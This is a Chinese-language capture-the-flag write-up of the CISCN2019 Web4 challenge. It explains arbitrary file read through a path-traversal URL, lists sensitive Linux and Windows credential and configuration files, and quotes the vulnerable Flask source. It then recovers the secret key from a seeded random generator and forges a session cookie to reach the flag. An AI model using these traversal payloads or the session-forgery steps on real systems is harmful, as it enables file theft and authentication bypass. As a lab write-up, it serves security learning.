记[CISCN2019 华东南赛区]Web4所得
记[CISCN2019 华东南赛区]Web4所得
知识点(划重点):
任意文件读取漏洞
flask_session伪造
python伪随机数
一.预备知识补充
1.任意文件读取漏洞(列目录漏洞)
(1)概念及成因
任意文件读取是属于文件操作漏洞的一种,一般任意文件读取漏洞可以读取配置信息甚至系统重要文件。其中的目录遍历是由于web服务器或者web应用程序对用户输入的文件名称的安全性验证不足而导致的一种安全漏洞,使得攻击者通过利用一些特殊字符就可以绕过服务器的安全限制,访问任意的文件(可以是web根目录以外的文件),甚至执行系统命令。更严重的,导致SSRF漏洞,进而漫游至内网。
(2)挖掘
<?php $filename=”test.txt”; readfile($filename); ?>
<?php $filename=”test.txt”; echo file_get_contents($filename); ?>
一般由readfile()、file_get_contents()、fopen()等危险函数导致,如果对$filename没有经过校验或者校验不合格,那么用户就可以由此读取到一些敏感文件如:/etc/passwd等。
可以通过代码审计查看是否存在上述危险函数
或者通过url链接来判断:
?url=xxxx
?file_name=xxx
?Filepath=xxx
?Path=xxxxx
?Data=xxxxx
一般文件读取或者文件下载都会跟一个参数名在后面,比如说
http://127.0.0.1/file.php?filename=xxx.txt
上面的txt就会被下载下来,但是如果即将xxx.txt换成其他的参数呢?比如说../etc/passwd
http://127.0.0.1/file.php?filename=../../../../etc/passwd
如果存在回显,则代表该网站存在任意文件读取漏洞
(3)一些敏感文件
windows
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
Linux
/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts
//ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
/porc/1/environ //可以查看当前第一个进程的环境变量,在一些题目中常常把flag放置在环境变量中,从而造成非预期解!!!
还有许多可以查看,详情可看:
2.python伪随机数
简单来说就是在python中调用random库设置的是伪随机数,只要所用的种子一样,那么生成的随机数数值就是一样的。那么也就是说只要我们得到种子,就可以反推随机数,从而破解一些用此随机数加密的东西。
(之前刷题的时候有做到过php伪随机数漏洞,没想到Python中也存在,那么Java中是不是也有呢?)
二.进入正题
打开靶机,只有一个“Read somethings” 链接,直接点击。
跳转到了这样的页面,看url那里是传参了一个网址,并在页面中有了回显,猜测为任意文件读取漏洞,于是尝试读取/etc/passwd(一般在尝试时都会读取这个文件)。
这里首先尝试了用file://协议去读取,结果回显了"No Hack",可以猜到是过滤了file://协议,那么试试直接访问?
成功读取了/etc/passwd的内容,那么接下来就很简单了,先读取/proc/self/cmdline读取当前运行的进程
可以看到当前是执行app.py这个文件,所以我们尝试一下能不能读取到这个文件里面的内容
可以看到,我们很顺利的就读取到了文件的内容,那么接下来就是进行代码审计了
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__) #这里是python的flask框架
random.seed(uuid.getnode()) #设置了一个种子
app.config['SECRET_KEY'] = str(random.random()*233) #利用这个种子生成的随机数作为'SECRET_KEY'
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data' #这里是自动生成了session
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read') #任意文件读取
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE) #过滤了关键词file
n = re.findall('flag', url, re.IGNORECASE) #过滤了关键词flag
if m or n:
return 'No Hack'
res = urllib.urlopen(url) #危险函数导致了任意文件读取漏洞
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag') #获取flag
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
经过对上述代码审计,我们知道要获得flag就必须让session中username的值为'fuck',那么这里就涉及到了flask_session伪造了。而要伪造session,需要知道加密的密钥,很明显就是那个随机数,这里就要用上python的伪随机数漏洞了,而要还原伪随机数,就要知道种子,而这里的是用uuid.getnode()来作为种子,那么uuid.getnode()是什么呢?
uuid.getnode()
获取一个表示硬件地址的48位正整数。第一次运行,需要启动一个独立程序,可能会很慢。如果获取硬件地址失败,返回一个随机的48位数。
在Python中,可以使用uuid.getnode()来生成MAC地址
那么MAC地址又是什么?
MAC地址
MAC地址,也称硬件地址,它始终是唯一的,因此在本地网络上没有具有相同的MAC地址的两个设备。那么可以理解为一个网卡地址。
那么如何获取
查询Mac值可以访问sys/class/net/etho/下的address文件
注意:uuid.getnode()返回的值是Mac值的16进制形式,但是去掉了中间的冒号。
那么现在方向就很明确了,我们要借助任意文件读取漏洞来获取到MAC地址,然后还原随机数,从而进行session伪造,然后再访问/flag路由,就可以得到flag.话不多说,直接开整:
得到MAC地址:02:42:ac:02:17:80
通过一下脚本:
import random
import uuid
random.seed(0x0242ac021780)
print(str(random.random()*233))
在python2的环境下运行,得到secret_key
坑点:这里有个大坑点,就是对面靶机的环境是python2,所以我们不能使用python3来运行,不然得到的密钥小数点位数会多一些,从而导致伪造失败
接下来就是进行session伪造,这里直接用github上的大佬脚本:https://gitcode.net/mirrors/noraj/flask-session-cookie-manager?utm_source=csdn_github_accelerator
先将session解密一下:
得到:{'username': b'www-data'}
把他换成:{'username': b'fuck'}
然后再进行session伪造:
得到:
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZEYPtA.PbJ5fcEwfP2SoPEn3mFUKb4uniQ
然后可以直接借助插件将session值修改或者使用burp抓包,然后再修改,访问/flag路由。
得到flag,打完收工,呼~~~
三.尾记
第一次写,所以比较啰嗦一点,大佬们轻喷!